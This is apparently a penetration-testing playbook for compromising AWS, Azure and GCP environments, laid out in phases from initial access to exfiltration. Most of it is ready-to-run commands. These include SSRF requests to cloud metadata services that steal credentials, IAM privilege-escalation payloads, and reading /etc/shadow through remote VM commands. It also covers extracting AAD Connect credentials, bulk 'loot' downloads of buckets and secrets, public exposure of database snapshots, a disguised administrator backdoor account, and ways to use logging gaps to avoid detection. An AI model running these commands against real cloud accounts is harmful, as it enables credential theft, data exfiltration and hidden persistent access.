LIVE ANALYSIS May 10, 2026

Cloud Pentest Playbook: AWS, Azure, GCP From Access to Exfil

Cloud security isn't 'someone else's problem.' Misconfigured IAM, exposed metadata, overprivileged service accounts. This is the decision tree for compromising AWS, Azure, and GCP environments: from initial access to data exfiltration.

#Cloud #AWS #Azure #GCP #IAM #Pentest #Methodology #S3 #IMDS

Cloud environments don’t have a perimeter to breach. They have IAM policies, metadata services, and storage buckets. The attack surface is configuration, not network topology. Different mental model, different playbook.

Phase 0: Initial Access

How You Get In

VectorDescription
Leaked credentialsGitHub commits, .env files, Trello boards, Postman collections
SSRF to metadataWeb app with SSRF → hit 169.254.169.254 → steal instance credentials
Phished userStolen SSO creds → access cloud console
Compromised CI/CDGitHub Actions secrets, GitLab CI variables, Jenkins credentials
Public storageOpen S3 buckets, Azure Blobs, GCS buckets
Exposed managementKubernetes API, Docker API, cloud function endpoints

Credential Hunting (External)

# GitHub dorking
# Search for: "AKIA" (AWS access key prefix)
trufflehog github --org=<target_org>
trufflehog git https://github.com/<target>/<repo>.git

# Check for public S3 buckets
aws s3 ls s3://<company-name> --no-sign-request
aws s3 ls s3://<company-name>-backup --no-sign-request
aws s3 ls s3://<company-name>-dev --no-sign-request

# Azure Blob enumeration
python3 MicroBurst/Misc/InvokeEnumerateAzureBlobs.py -Base <company>

# GCS bucket check
curl https://storage.googleapis.com/<company-name>

SSRF to Cloud Credentials

If you find SSRF in a web application hosted on a cloud instance:

AWS IMDSv1 (no hop limit):

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

Returns: AccessKeyId, SecretAccessKey, Token. Temporary credentials for the instance’s IAM role.

AWS IMDSv2 (requires token):

# Need two requests - SSRF must support custom headers
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

If the SSRF doesn’t support PUT or custom headers, IMDSv2 blocks you. That’s the point. Many orgs still haven’t enforced IMDSv2.

Azure IMDS:

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Header required: Metadata: true

GCP:

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Header required: Metadata-Flavor: Google

Phase 1: Enumerate What You Have

You have credentials (leaked, stolen, or from SSRF). First thing: understand what they can do.

AWS

# Configure credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...  # If temporary creds

# Who am I?
aws sts get-caller-identity

# What can I do? (Enumerate permissions)
# Option 1: Brute-force API calls
enumerate-iam --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --region us-east-1

# Option 2: If you can read IAM policies
aws iam list-attached-user-policies --user-name <user>
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Option 3: Pacu (AWS exploitation framework)
pacu
> import_keys <profile>
> run iam__enum_permissions
> run iam__privesc_scan

Azure

# Authenticate
az login  # Interactive
az login --service-principal -u <app-id> -p <secret> --tenant <tenant-id>  # SP

# Who am I?
az account show
az ad signed-in-user show

# Enumerate roles
az role assignment list --assignee <object-id> --all
az ad app list --show-mine

# ROADtools (comprehensive Azure AD enum)
roadrecon auth -u user@domain.com -p 'pass'
roadrecon gather
roadrecon gui

GCP

# Authenticate
gcloud auth activate-service-account --key-file=<key.json>

# Who am I?
gcloud config list account
gcloud projects list

# What roles?
gcloud projects get-iam-policy <project-id>
gcloud asset search-all-iam-policies --scope=projects/<project-id>

Phase 2: Privilege Escalation

AWS IAM Privesc Paths

Permission You HaveEscalation
iam:CreatePolicyVersionCreate a new version of an existing policy with *:* and set as default
iam:AttachUserPolicyAttach AdministratorAccess to yourself
iam:CreateAccessKeyCreate access keys for any user (including admins)
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunctionCreate a Lambda with an admin role, invoke it
iam:PassRole + ec2:RunInstancesLaunch an EC2 with an admin instance profile
sts:AssumeRole on a privileged roleAssume it directly
lambda:UpdateFunctionCodeModify existing Lambda → steal its role’s creds
ssm:SendCommand on EC2 instancesExecute commands on instances (lateral movement + role theft)

Example: Lambda-based privesc

# Create a Lambda function that uses a privileged role
aws lambda create-function \
  --function-name escalate \
  --runtime python3.12 \
  --role arn:aws:iam::<account>:role/admin-role \
  --handler index.handler \
  --zip-file fileb://payload.zip

# payload index.py:
# import boto3; iam = boto3.client('iam')
# iam.attach_user_policy(UserName='attacker', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')

aws lambda invoke --function-name escalate output.txt

Azure Privesc Paths

Permission / RoleEscalation
User Access AdministratorAssign yourself Owner on any scope
Contributor on a VMRun commands via az vm run-command
Automation ContributorCreate Automation Runbook with Managed Identity
Application AdministratorAdd credentials to any Service Principal
Global Administrator (Entra ID)Full control of everything
Write access on Logic AppsModify workflow to exfil managed identity tokens

Example: VM command execution

az vm run-command invoke -g <resource-group> -n <vm-name> --command-id RunShellScript --scripts "cat /etc/shadow"

GCP Privesc Paths

PermissionEscalation
iam.serviceAccountKeys.createCreate key for any SA → impersonate it
iam.serviceAccounts.actAs + compute.instances.createLaunch VM with privileged SA
cloudfunctions.functions.create + iam.serviceAccounts.actAsDeploy function with privileged SA
iam.serviceAccountTokenCreatorGenerate access tokens for any SA
resourcemanager.projects.setIamPolicyGrant yourself Owner

Example: SA key creation

gcloud iam service-accounts keys create key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=key.json

Phase 3: Lateral Movement

Cross-Account/Subscription/Project

AWS: Check for cross-account role trusts:

aws iam list-roles | grep -A5 "AssumeRolePolicyDocument"
# Look for Principal: "*" or Principal: "arn:aws:iam::<other-account>:root"

Azure: Check for B2B guest access, multi-tenant app registrations, Lighthouse delegations.

GCP: Check for cross-project SA impersonation, shared VPCs, organization-level permissions.

From Cloud to On-Prem

Azure AD Connect syncs on-prem AD with Entra ID. If you compromise the server running AAD Connect:

# Extract plaintext credentials from AAD Connect
# Using AADInternals:
Install-Module AADInternals
Get-AADIntSyncCredentials

This gives you the AD Connector account credentials, which typically have DS-Replication-Get-Changes rights. DCSync from the cloud.

AWS SSM to internal: If EC2 instances in a VPC have SSM agent, use aws ssm start-session to land on internal hosts without needing SSH or VPN access.

Phase 4: Data Access and Exfiltration

AWS

# List all S3 buckets
aws s3 ls

# Download everything from a bucket
aws s3 sync s3://<bucket> ./loot/

# Check for secrets in SSM Parameter Store
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>

# RDS snapshots (create a public copy you control)
aws rds describe-db-snapshots
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <id> --attribute-name restore --values-to-add all

Azure

# Key Vault secrets
az keyvault list
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>

# Storage account keys
az storage account keys list -g <rg> -n <account>

# Download blobs
az storage blob download-batch -d ./loot -s <container> --account-name <account> --account-key <key>

GCP

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

# Cloud Storage
gsutil ls
gsutil cp -r gs://<bucket>/ ./loot/

# BigQuery
bq ls --project_id <project>
bq query --use_legacy_sql=false "SELECT * FROM dataset.table LIMIT 100"

Phase 5: Persistence

CloudPersistence Method
AWSCreate IAM user with programmatic access, create access key for existing user, backdoor Lambda, add login profile
AzureAdd credentials to SP, create new SP, invite B2B guest, add Automation Account
GCPCreate SA key, add IAM binding, deploy Cloud Function with trigger

AWS backdoor example:

aws iam create-user --user-name support-audit
aws iam attach-user-policy --user-name support-audit --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name support-audit

Detection Blind Spots

Cloud logging is opt-in for many services. Common gaps:

  • AWS: S3 data events not enabled (most common), Lambda invocations not logged, CloudTrail not forwarding to SIEM
  • Azure: Diagnostic settings not configured on Key Vaults, no sign-in logs retention beyond 30 days
  • GCP: Data access audit logs disabled by default, Cloud Function invocations not logged

If these aren’t enabled, your activity is invisible. Check logging configuration early: it tells you how much noise you can make.